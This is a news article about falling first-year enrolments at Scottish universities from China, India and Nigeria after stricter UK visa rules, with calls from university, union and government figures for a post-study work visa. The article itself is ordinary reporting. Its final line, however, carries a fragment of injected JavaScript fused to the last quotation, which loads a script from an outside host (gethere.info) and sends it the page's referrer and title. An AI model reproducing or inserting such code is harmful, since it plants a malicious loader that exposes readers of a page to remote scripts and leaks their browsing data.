By Émer O’Toole
The number of students from crucial countries studying at Scottish universities has decreased following the Westminster Government’s introduction of tough new immigration rules.
Official statistics reveal that Scottish universities have seen a two per cent decrease in first-year student enrolments from China, a 12 per cent drop from India and a nine per cent decline from Nigeria.
Even though overall international student enrolment at Scotland’s universities’ has increased by one per cent, academics and university leaders are concerned about the drop from key countries.
Universities Scotland, which represents university leaders, have renewed calls for Scottish and UK Governments to urgently introduce a post-study work visa for Scotland’s international students.
Alastair Sim, director of Universities Scotland, said: “Scottish universities need action from government to improve its post-study work offer. We are losing out in key markets as our competitors take steps to attract more international student talent.”
The Home Office introduced stricter visa restrictions following concern at the extent of bogus colleges operating as “visa shops.”
As a result, international students have found it increasingly difficult to secure a place and have limited rights to work after graduating.
The drop in numbers is important since universities rely on the fees paid by overseas students to subsidise courses for Scottish students- with some universities charging up to £17,000 a year.
Scottish universities’ income from overseas students rose to a record £374 million last year while overseas also contribute around £441 million to Scotland’s economy per year.
The final report of the Smith Commission published in November last year suggested that the Scottish and UK Governments should “explore the possibility of introducing formal schemes to allow international higher education students graduating from Scottish further and higher education institutions to remain in Scotland and contribute to economic activity for a defined period of time.”
Sim added that the new figures “underline just how important it is that this work is progressed.”
Mary Senior, UCU Scotland official, said overseas students benefitted the economy, Scotland’s universities and the educational experience of fellow students.
She called for powers relating to immigration in higher education to be devolved.
“For Scotland’s universities to be world-leading we need to attract students from overseas and for those students to feel welcome, and able to live and work in Scotland after graduating.
“The fall in the number of students coming from Nigeria, China and India reflects the direction of travel in UK immigration policy.”
Gordon Maloney, president of student body NUS Scotland, spoke of how the Smith Commission “hinted at” giving Scotland the power to introduce post-study work visas.
“We would urge both governments to make it a reality.”
Education Secretary Angela Constance said: “The fall in student numbers from countries that have historically sent high numbers of international students is disappointing.
“The Scottish Government believes that this is a consequence of the negative message that the UK Government immigration policy sends to international students.”s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;